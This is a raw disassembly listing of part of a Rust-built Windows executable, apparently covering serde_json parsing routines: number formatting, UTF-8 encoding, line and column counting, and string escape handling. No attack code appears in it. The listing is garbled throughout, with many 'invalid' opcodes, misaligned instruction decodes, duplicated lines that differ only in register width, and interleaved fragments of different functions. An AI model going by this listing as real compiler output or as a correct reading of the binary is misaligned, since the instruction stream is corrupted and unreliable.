invalid
jbe 0x1400d081b
mov r9d, r8d
mov ecx, eax
imul r9, r9, 0x51eb851f
push rcx
shr r9, 0x25
lea r10d, [r9 + 0x30]
and eax, 0x30518d45
mov byte [rcx], r10b
imul r9d, r9d, 0x64
sub r8d, r9d
sub eax, ecx
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_m
lea ecx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_m
sub dword [rdi + 7], esp
add byte [rdi + 0xf], al
movzx r8d, word [r9 + r8*2]
mov bh, 4
mov word [rcx + 1], r8w
mov dword [rcx + 1], r8d
add al, 0x41
mov word [rcx + 1], r8w
mov dword [rcx + 1], r8d
shr rbx, 0x3f
add rbx, 3
add ebx, 3
jmp 0x1400d0862
cmp r8, 9
cmp r8, 9
clc
or dword [rsi + 0x33], esi
jbe 0x1400d0854
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_m
lea ecx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_m
or eax, 0x76708
invalid
invalid
movzx r8d, word [r9 + r8*2]
movzx eax, word [rcx + rax*2]
mov word [rcx], r8w
shr rbx, 0x3f
shr ebx, 0x3f
or rbx, 2
or ebx, 2
jmp 0x1400d0862
or cl, 0x30
xor byte [rax - 0x143eb7f8], cl
invalid
mov byte [rax], cl
shr rbx, 0x3f
shr ebx, 0x3f
shr ebx, 0x3f
inc rbx
inc ebx
add rbx, r15
lea rax, [rsp + 0x28]
and al, 0x28
and al, 0x28
sub cl, ch
movabs dword [0x4430c88041fffffd], eax
invalid
inc dword [rcx - 0x80]
or al, 0x30
invalid
jmp case.0x1400c3439.161
invalid
or r8b, 0x30
or al, 0x30
enter 0x4430, 0xffffffffffffff88
mov byte [rcx], r8b
mov byte [rcx], al
add dword [rax - 0x3f], ecx
shr rbx, 0x3f
inc rbx
ret
jmp 0x1400d089e
ret
add rbx, rax
lea rax, [rsp + 0x28]
invalid
sub cl, ch
mov ch, bh
invalid
jmp case.0x1400c3439.161
dec dword [rdi]
or ecx, esp
int3
int3
int3
int3
int3
int3
in al, dx
rol byte [rax], 0
add byte [rax - 0x77], cl
mov rsi, rdx
mov rsi, rdx
mov rdi, qword [rcx]
mov edi, dword [rcx]
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x50], 0
and al, 0x50
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x39], cl
and al, 0x60
invalid
add byte [rax], al
mov qword [rsp + 0x60], 0
invalid
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0xb0], 0x20
test byte [rax + rsi*4], ah
and al, 0xb0
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rax], al
and byte [rax], al
add byte [rax], al
invalid
mov byte [rsp + 0xb8], 3
add byte [rbx], al
add ecx, dword [rax - 0x39]
test byte [rax + rax*4], ah
and al, 0x80
mov qword [rsp + 0x80], 0
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x50]
and al, 0x50
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x50
and al, 0x50
mov qword [rsp + 0xa0], rax
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
invalid
add byte [rax], al
lea rax, [0x140147218]
lea eax, [0x140147218]
add eax, 0x7692d
invalid
mov qword [rsp + 0xa8], rax
lea rbx, [rsp + 0x80]
pushfq
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
stc
add byte [rax - 0x73], cl
pushfq
and al, 0x80
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x77], cl
stc
mov rdx, rbx
call fcn.1400d0ab0
stosb byte [rdi], al
add dword [rax], eax
add byte [rax + rax*8 + 0xc8850f], al
enter 0, 0
test al, al
jne 0x1400d09d6
enter 0, 0
movups xmm0, xmmword [rsp + 0x50]
and al, 0x50
push rax
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
and al, 0x60
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
lea rax, [rdi + 0x18]
add rdi, 0x20
lea rcx, [rsp + 0x30]
and al, 0x30
xor byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
invalid
mov qword [rsp + 0x80], rcx
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1400d0d70]
or eax, 0x432
xor al, byte [rax + rax]
add byte [rax - 0x77], cl
mov word [rax + rcx*4], fs
mov byte [rax], al
add byte [rax], al
invalid
invalid
test byte [rax + rdx*4], ah
and al, 0x90
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x90], rax
lea rax, [fcn.140012f00]
stosd dword [rdi], eax
invalid
hlt
invalid
and al, 0x90
nop
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfff425ab
stosd dword [rdi], eax
invalid
hlt
invalid
stosd dword [rdi], eax
and eax, 0x8948fff4
test byte [rax + rbx*4], ah
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa0], edi
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov esp, 0xa024
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [0x140147f80]
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0xa8], eax
lea rax, str.Error___line:___column:_h
lea eax, [0x140147f80]
jbe case.0x1400b3986.232
add byte [rax - 0x77], cl
mov qword [rsp + 0x50], rax
and al, 0x50
mov qword [rsp + 0x58], 4
mov dword [rsp + 0x58], 4
add al, 0
add byte [rax], al
invalid
add byte [rax - 0x39], cl
and al, 0x70
add byte [rax], al
add byte [rax], al
invalid
mov qword [rsp + 0x70], 0
add byte [rax - 0x77], cl
pop rsp
and al, 0x60
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 3
and al, 0x68
add eax, dword [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
lea r8, [rsp + 0x50]
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
mov edx, dword [rsi + 0x28]
lea r8, [rsp + 0x50]
call fcn.140013bb0
cmp qword [rsp + 0x30], 0
and al, 0x30
invalid
je 0x1400d09cb
invalid
and al, 0x30
add byte [rax + rbx + 0x4c], dh
sbb byte [rbx + rcx*4 + 0x44], cl
and al, 0x38
sbb byte [rbx + rcx*4 + 0x44], cl
mov r8, qword [rsp + 0x38]
and al, 0x38
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
mov ebx, eax
ret
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, ebx
invalid
ret
fmul dword [rax - 0x7f]
invalid
add rsp, 0xc0
rol byte [rax], 0
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rbx
pop rdi
pop rsi
ret
lea rax, [0x140171df0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_src_string.rs
lea r9, [0x1401472a8]
lea ecx, [0x1401472a8]
adc ecx, dword [rdx]
add byte [rbp + rcx*4 + 0xd], cl
lea ecx, [0x1401472a8]
invalid
lea ecx, [0x1401472a8]
invalid
lea r8, [rsp + 0x30]
lea eax, [rsp + 0x30]
mov edx, 0x37
call fcn.140108600
int3
in al, dx
mov byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
add byte [rax - 0x75], cl
or dword [rax - 0x7d], ecx
invalid
invalid
jns case.0x1400b7609.225
invalid
cmp qword [rcx + 0x18], 0
sbb byte [rax], al
add byte [rdi], cl
test byte [rax + 0x48000000], al
je 0x1400d0a95
lea rax, [rcx + 0x18]
lea eax, [rcx + 0x18]
mov qword [rsp + 0x28], rcx
add rcx, 0x20
lea r8, [fcn.1400d0ab0]
add byte [rax], al
add byte [rcx + rcx*4 + 0x44], cl
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x38], rax
lea rax, [fcn.140012f00]
cmp byte [rax - 0x73], cl
add eax, 0xfff424c6
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
lea rax, [0x140147f38]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 3
mov dword [rsp + 0x60], 3
invalid
mov dword [rsp + 0x60], 3
add eax, dword [rax]
add byte [rax], al
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x28]
and al, 0x28
and al, 0x28
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 3
mov dword [rsp + 0x70], 3
mov dword [rsp + 0x70], 3
add eax, dword [rax]
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x58]
pop rax
pop rax
call fcn.140013bb0
nop
add rsp, 0x88
add esp, 0x88
add esp, 0x88
add byte [rax], al
ret
add rsp, 0x88
jmp fcn.1400d0ab0
int3
int3
add rax, r8
jmp rax
jmp r9
jmp rax
jmp rax
jmp rax
jmp rax
jmp rax
jmp rax
pop rcx
adc byte [rax + 0x29], cl
fmul dword [rcx + rdi - 0x40]
jb 0x1400d0df0
mov rcx, qword [rdi + 8]
add rcx, rbx
mov r8, rsi
call fcn.140106250
add rbx, rsi
mov qword [rdi + 0x10], rbx
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rcx, rdi
mov r14, rdx
mov rdx, rbx
mov r8, rsi
call fcn.140111c20
mov rdx, r14
mov rbx, qword [rdi + 0x10]
mov ebx, dword [rdi + 0x10]
mov ebx, dword [rdi + 0x10]
jmp 0x1400d0dce
add byte [rcx + 0x468b48da], cl
or byte [rax - 0xb7c7ec], cl
invalid
adc cl, ch
mov ecx, 0xc7000000
and al, 0x2c
add byte [rax], al
add byte [rax], al
mov eax, edx
cmp edx, 0x800
jae 0x1400d0e76
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x2c], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2d], dl
mov edi, 2
jmp 0x1400d0ed9
cmp edx, 0x10000
jae 0x1400d0ea5
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x2c], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2e], dl
mov edi, 3
jmp 0x1400d0ed9
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [rsp + 0x2c], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2e], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2f], dl
mov edi, 4
mov rax, qword [rsi]
mov rbx, qword [rsi + 0x10]
sub rax, rbx
cmp rax, rdi
jb 0x1400d0f0d
mov rcx, qword [rsi + 8]
add rcx, rbx
lea rdx, [rsp + 0x2c]
mov r8, rdi
call fcn.140106250
add rbx, rdi
mov qword [rsi + 0x10], rbx
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.140111c20
mov rbx, qword [rsi + 0x10]
jmp 0x1400d0ee8
add r8, 4
movd xmm1, dword [r10]
add r10, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebx, xmm1
test bl, 1
cmovne r8, rsi
test bl, 2
cmovne r8, rdi
test bl, 4
cmovne r8, r9
test bl, 8
mov r14d, 0
cmovne r8, r14
mov ebp, ebx
shr bpl, 1
and bpl, 5
in eax, 5
in eax, 5
sub bl, bpl
mov ebp, ebx
and bpl, 0x33
shr bl, 2
and bl, 0x33
add bl, bpl
mov ebp, ebx
shr bpl, 4
add bpl, bl
and bpl, 0xf
movzx ebx, bpl
add rdx, rbx
add r11, 0xfffffffffffffffc
jne 0x1400d1130
mov rsi, rcx
test rax, rax
je 0x1400d11d4
xor ecx, ecx
nop dword [rax]
inc r8
xor r9d, r9d
cmp byte [r10 + rcx], 0xa
mov r11d, 0
cmove r8, r11
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d11b0
lea rcx, [rsp + 0x28]
jmp 0x1400d12ca
mov al, 0x14
add al, 0
mov esi, 3
mov edi, 2
mov eax, 1
nop
add r8, 4
movd xmm1, dword [r9]
add r9, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebx, xmm1
test bl, 1
cmovne r8, rsi
test bl, 2
cmovne r8, rdi
test bl, 4
cmovne r8, r11
test bl, 8
mov r14d, 0
cmovne r8, r14
mov ebp, ebx
shr bpl, 1
and bpl, 5
sub bl, bpl
mov ebp, ebx
and bpl, 0x33
shr bl, 2
and bl, 0x33
add bl, bpl
mov ebp, ebx
shr bpl, 4
shr ch, 4
shr ch, 4
add bpl, bl
and bpl, 0xf
movzx ebx, bpl
add rax, rbx
fmul dword [rax - 0x7d]
ret 0x75fc
invalid
fmul dword [rax - 0x7d]
ret 0x75fc
mov rsi, rcx
test r10, r10
je 0x1400d12c2
xor ecx, ecx
nop dword [rax]
inc r8
xor edx, edx
cmp byte [r9 + rcx], 0xa
mov r11d, 0
cmove r8, r11
sete dl
add rax, rdx
inc rcx
cmp r10, rcx
jne 0x1400d12a0
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
mov rdx, rax
call fcn.14010f930
mov qword [rsi + 8], rax
mov word [rsi], 1
add rsp, 0x40
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
mov rcx, r9
call fcn.1401082d0
int3
or byte [rax - 0x75], cl
adc byte [rcx + r15 - 0x38], cl
jae 0x1400d132f
mov rdx, qword [rdx]
movzx eax, byte [rdx + rax]
mov byte [rcx + 1], al
mov byte [rcx], 0
add rsp, 0x40
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop rsi
ret
mov qword [rsp + 0x28], 4
ja 0x1400d1458
add byte [rdi], cl
xchg dword [rdx], ebx
add dword [rax], eax
add byte [rax - 0x7b], cl
sal byte [rbp + 0x10], 0x48
jne 0x1400d1353
mov rsi, rcx
test rax, rax
jne 0x1400d1353
mov rsi, rcx
mov edx, 1
xor r8d, r8d
jmp 0x1400d1442
mov r9, qword [rdx]
mov r10d, eax
mov edx, eax
and r10d, 3
cmp rax, 4
jae 0x1400d1370
mov edx, 1
xor r8d, r8d
add byte [rbp + 0x31], al
shr cl, 0xa3
jmp 0x1400d1413
and rax, 0xfffffffffffffffc
jmp 0x1400d1413
and rax, 0xfffffffffffffffc
mov r11d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
cmp edx, dword [rbx]
add al, 0
mov esi, 3
mov edi, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov edx, 1
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add r8, 4
movd xmm1, dword [r9]
add r9, 4
rol dword [rsi + riz*2], 0xf
invalid
leave
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebx, xmm1
test bl, 1
ret
invalid
fdecstp
ret
cmovne r8, rsi
test bl, 2
cmovne r8, rdi
cmovne eax, edi
test bl, 4
cmovne r8, r11
test bl, 8
mov r14d, 0
mov esi, 0
cmovne r8, r14
mov ebp, ebx
fld qword [rax - 0x30]
in eax, dx
fld qword [rax - 0x30]
in eax, dx
and bpl, 5
in eax, 5
sub bl, bpl
mov ebp, ebx
and bpl, 0x33
shr bl, 2
jmp 0x1400d13f5
and bl, 0x33
add bl, bpl
add bl, ch
jmp 0x1400d1374
add bl, ch
mov ebp, ebx
shr bpl, 4
add bpl, bl
and bpl, 0xf
movzx ebx, bpl
fisttp qword [rax + 1]
fimul dword [rax - 0x7d]
sar ah, 0x75
invalid
fisttp qword [rax + 1]
fimul dword [rax - 0x7d]
sar ah, 0x75
lea ecx, [rax - 0x77]
invalid
mov rsi, rcx
test r10, r10
je 0x1400d1442
xor eax, eax
nop dword [rax]
inc r8
inc eax
xor ecx, ecx
cmp byte [r9 + rax], 0xa
or al, byte [rcx - 0x45]
add byte [rax], al
add byte [rax], al
cmove r8, r11
sete cl
add rdx, rcx
inc rax
inc eax
cmp r10, rax
jne 0x1400d1420
retf 0xff48
lea rcx, [rsp + 0x28]
call fcn.14010f930
add byte [rax - 0x77], cl
or sil, r8b
invalid
add ecx, ebp
int3
invalid
invalid
invalid
add byte [rax - 0x77], cl
or sil, r8b
invalid
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, rax
mov rdx, r9
call fcn.140108340
int3
int3
push rbx
sub rsp, 0x20
mov rax, rcx
mov r9, qword [rcx + 8]
mov rcx, qword [rcx + 0x10]
cmp rcx, r9
ja 0x1400d15a8
add byte [rax], al
add byte [rax], al
test rcx, rcx
jne 0x1400d14a0
mov eax, 1
xor r8d, r8d
xor eax, eax
jmp 0x1400d1593
invalid
add byte [rbx + rcx*4 + 8], cl
mov r9, qword [rax]
mov r10d, ecx
and r10d, 3
cmp rcx, 4
stc
add al, 0x73
invalid
or eax, 0x1b8
add byte [rbp + 0x31], al
shr cl, 0xa6
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
mov eax, 1
add byte [rax], al
xor r8d, r8d
jmp case.0x14009662c.439
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
loope 0x1400d14bd
and rcx, 0xfffffffffffffffc
mov r11d, 1
xor r8d, r8d
shl byte [rsi + 0xf], 0x6f
add eax, 0x411ee
shl byte [rsi + 0xf], 0x6f
add eax, 0x411ee
mov esi, 3
add eax, dword [rax]
add byte [rax], al
mov edi, 2
mov eax, 1
add byte [rax], al
add byte [rax + 1], bh
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add r8, 4
add eax, 4
movd xmm1, dword [r9]
add r9, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
invalid
leave
pcmpeqb xmm1, xmm0
movmskps ebx, xmm1
fdecstp
ret
add dword [rdi + rcx + 0x45], ecx
invalid
test bl, 2
cmovne r8, rdi
test bl, 4
ret
add al, 0x4d
cmovne eax, ebx
test bl, 8
mov r14d, 0
cmovne r8, r14
invalid
mov ebp, ebx
shr bpl, 1
shr ch, 1
invalid
fdecstp
ret
ret
invalid
shr ch, 1
and bpl, 5
in eax, 5
sub bl, bpl
mov ebp, ebx
and bpl, 0x33
shr bl, 2
and bl, 0x33
xor eax, dword [rax]
jmp case.0x140092c4a.475
fld qword [rax - 0x40]
shr ch, 4
xor eax, dword [rax]
jmp case.0x140092c4a.475
shr ch, 4
add bpl, bl
and bpl, 0xf
movzx ebx, bpl
movzx ebx, ch
movzx ebx, ch
add rax, rbx
add eax, ebx
add rcx, 0xfffffffffffffffc
jne 0x1400d14f0
sar esp, 0x75
lea ecx, [rbp - 0x7b]
test r10, r10
je 0x1400d1593
xor ecx, ecx
test r10, r10
je 0x1400d1593
xor ecx, ecx
nop word [rax + rax]
add byte [rcx - 1], cl
rol byte [rbp + 0x31], 0xdb
xor r11d, r11d
inc r8
xor r11d, r11d
cmp byte [r9 + rcx], 0xa
mov esi, 0
cmove r8, rsi
cmove eax, esi
cmove eax, esi
sete r11b
sete bl
add rax, r11
add eax, ebx
inc rcx
cmp r10, rcx
jne 0x1400d1570
mov rcx, rdx
mov rdx, rax
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
jmp fcn.14010f930
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rdx, r9
call fcn.140108340
mov dword [rbp + 3], ebp
add ah, cl
retf 0x89e8
mov dword [rbp + 3], ebp
add ah, cl
int3
sub rsp, 0x20
mov rax, rcx
enter 0xffffffffffff8b48, 0x51
or byte [rax - 0x75], cl
adc byte [r8 + 0x39], cl
ror dword [rdi], 1
xchg dword [rcx], eax
add dword [rax], eax
add byte [rax], al
or byte [rax - 0x75], cl
adc byte [r8 + 0x39], cl
ror dword [rdi], 1
xchg dword [rcx], eax
add dword [rax], eax
add byte [rax], al
invalid
invalid
add byte [rax], al
test rcx, rcx
leave
je 0x1400d15fc
mov r8, qword [rax]
mov eax, dword [rax]
mov r9d, ecx
and r9d, 3
cmp rcx, 4
add al, 0x73
invalid
add al, 0x73
sbb byte [rax + 1], bh
add byte [rax], al
mov eax, 1
xor edx, edx
jmp 0x1400d16a2
mov eax, 1
xor edx, edx
jmp 0x1400d16d4
int3
add byte [rax], al
add byte [rax - 0x7d], cl
loope 0x1400d1608
and rcx, 0xfffffffffffffffc
cld
mov r10d, 1
xor edx, edx
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
add eax, 0x410a4
add byte [rcx], dh
shl byte [rsi + 0xf], cl
outsd dx, dword [rsi]
add eax, 0x410a4
mov r11d, 3
mov esi, 2
add byte [rsi + 2], bh
mov eax, 1
nop dword [rax]
invalid
invalid
invalid
add byte [rdi], cl
invalid
add byte [rax - 0x7d], cl
ret 0x6604
add rdx, 4
movd xmm1, dword [r8]
movd mm1, dword [r8]
movd mm1, dword [r8]
add r8, 4
punpcklbw xmm1, xmm1
rol byte [rsi + riz*2], 0xf
invalid
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
je case.0x1400b984a.210
movmskps edi, xmm1
stc
stc
test dil, 1
cmovne rdx, r11
test dil, 2
test bh, 2
test bh, 2
cmovne rdx, rsi
cmovne edx, esi
test dil, 4
add al, 0x49
cmovne edx, edx
cmovne rdx, r10
test dil, 8
test bh, 8
mov ebx, 0
cmovne rdx, rbx
invalid
mov ebx, edi
shr bl, 1
ror dword [rcx - 0x7f142f05], cl
jrcxz 0x1400d167d
and bl, 5
sub dil, bl
mov ebx, edi
and bl, 0x33
shr dil, 2
add al, byte [rax - 0x80]
out 0x33, eax
invalid
xor eax, dword [rax - 0x40]
out dx, eax
add al, byte [rax - 0x80]
out 0x33, eax
invalid
xor eax, dword [rax]
fisttp word [rcx + 0x4ebc0fb]
invalid
add dil, bl
add bh, bl
mov ebx, edi
shr bl, 4
invalid
add al, 0x40
add bl, bh
add bl, dil
and bl, 0xf
movzx edi, bl
mov dh, 0xfb
mov dh, 0xfb
add rax, rdi
add rcx, 0xfffffffffffffffc
cld
cld
jne 0x1400d1630
test r9, r9
je 0x1400d16d4
xor ecx, ecx
nop dword [rax]
add byte [rax], al
add byte [rax - 1], cl
inc rdx
invalid
invalid
inc rdx
xor r10d, r10d
cmp byte [r8 + rcx], 0xa
or byte [rdx], cl
or byte [rdx], cl
mov r11d, 0
cmove rdx, r11
rol dword [rcx + 0xf], cl
xchg esp, eax
invalid
rol dword [rcx + 0xf], cl
xchg esp, eax
ret 0x14c
invalid
invalid
add rax, r10
inc rcx
cmp r9, rcx
jne case.0x1400aa99b.348
invalid
fmul qword [rax - 0x7d]
invalid
add rsp, 0x20
pop rbx
pop rdi
and byte [rbx + 0x5f], bl
pop rsi
ret
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
lea eax, [0x140148128]
call fcn.140108340
int3
int3
ror dword [rcx + rdi - 0x38], 0x4c
cmovb ecx, eax
test r9, r9
leave
je 0x1400d1726
mov rcx, qword [rcx]
mov r8d, r9d
and r8d, 3
cmp r9, 4
jae 0x1400d1732
mov eax, 1
xor edx, edx
jmp case.0x1400ca0d6.153
mov eax, 1
add dword [rax], eax
add byte [rax], al
xor edx, edx
jmp 0x1400d1804
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7d], cl
loope 0x1400d1732
and r9, 0xfffffffffffffffc
mov r10d, 1
xor edx, edx
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r11d, 3
mov esi, 2
mov eax, 1
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rsi + 0x2e], ah
nop dword cs:[rax + rax]
nop dword cs:[rax + rax]
add rdx, 4
movd xmm1, dword [rcx]
add rcx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
leave
leave
pcmpeqb xmm1, xmm0
movmskps edi, xmm1
test dil, 1
mov dword [rcx], 0xd3450f49
mov dword [rcx], 0xd3450f49
test dil, 2
cmovne rdx, rsi
test dil, 4
cmovne rdx, r10
cmovne edx, edx
cmovne edx, edx
test dil, 8
mov ebx, 0
cmovne rdx, rbx
mov ebx, edi
shr bl, 1
and bl, 5
sub dil, bl
mov ebx, edi
and bl, 0x33
shr dil, 2
and dil, 0x33
and bh, 0x33
and bh, 0x33
add dil, bl
mov ebx, edi
shr bl, 4
add bl, dil
and bl, 0xf
movzx edi, bl
add rax, rdi
add r9, 0xfffffffffffffffc
jne 0x1400d1760
test r8, r8
je 0x1400d1804
xor r9d, r9d
nop dword [rax]
add byte [rax], 0
add byte [rax], al
add byte [rax], 0
add byte [rax], al
inc rdx
xor r10d, r10d
cmp byte [rcx + r9], 0xa
mov r11d, 0
cmove rdx, r11
sete r10b
add rax, r10
ror byte [rcx - 1], 1
ror dword [rbp + 0x39], 0xc8
ror byte [rcx - 1], 1
ror dword [rbp + 0x39], 0xc8
jne 0x1400d17e0
pop rbx
pop rdi
pop rsi
ret
jg 0x1400d17e3
mov rbx, qword [rdi]
lea esi, [rdx + 1]
lea r13d, [rdx + 2]
mov r15d, 2
mov r12, rdx
nop word cs:[rax + rax]
movzx eax, byte [rbx + r12]
cmp byte [rax + rcx], 0
jne 0x1400d18c0
inc r12
mov qword [rdi + 0x10], r12
inc sil
inc r13b
inc r15
cmp r12, rbp
jb 0x1400d1890
jmp 0x1400d1d26
cmp eax, 0x5c
jne 0x1400d1d6d
mov r14, r12
sub r14, rdx
jb 0x1400d2764
mov rax, qword [r8]
mov r9, qword [r8 + 0x10]
sub rax, r9
cmp rax, r14
jb 0x1400d1b4f
mov qword [rsp + 0x70], rdx
add rdx, rbx
mov rax, qword [r8 + 8]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
lea rcx, [rax + r9]
mov r8, r14
mov rdi, r9
call fcn.140106250
mov rdx, rdi
mov r8, qword [rsp + 0x30]
add rdx, r14
mov qword [r8 + 0x10], rdx
lea rcx, [r12 + 1]
mov rdi, qword [rsp + 0x78]
and al, 0x78
mov qword [rdi + 0x10], rcx
cmp rcx, rbp
jae 0x1400d1f9c
movzx eax, byte [rbx + r12 + 1]
lea r14, [r12 + 2]
mov qword [rdi + 0x10], r14
add eax, 0xffffffde
cmp eax, 0x53
ja case.0x1400d1957.35
lea rcx, [0x1401782d4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d197a
mov rcx, r8
mov rsi, rdx
call fcn.1401019b0
mov rdx, rsi
mov r8, qword [rsp + 0x30]
and al, 0x30
mov rax, qword [r8 + 8]
mov byte [rax + rdx], 0x22
jmp 0x1400d1b30
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d19a4
mov rcx, r8
mov rsi, rdx
call fcn.1401019b0
mov rdx, rsi
mov r8, qword [rsp + 0x30]
and al, 0x30
mov rax, qword [r8 + 8]
mov byte [rax + rdx], 0xc
jmp 0x1400d1b30
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d19ce
mov rcx, r8
mov rsi, rdx
call fcn.1401019b0
mov rdx, rsi
mov r8, qword [rsp + 0x30]
and al, 0x30
mov rax, qword [r8 + 8]
mov byte [rax + rdx], 0x5c
jmp 0x1400d1b30
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d19f8
mov rcx, r8
mov rsi, rdx
call fcn.1401019b0
mov rdx, rsi
mov r8, qword [rsp + 0x30]
and al, 0x30
mov rax, qword [r8 + 8]
mov byte [rax + rdx], 0xa
jmp 0x1400d1b30
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d1a22
mov rcx, r8
mov rsi, rdx
call fcn.1401019b0
mov rdx, rsi
mov r8, qword [rsp + 0x30]
mov rax, qword [r8 + 8]
mov byte [rax + rdx], 0x2f
jmp 0x1400d1b30
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d1a4c
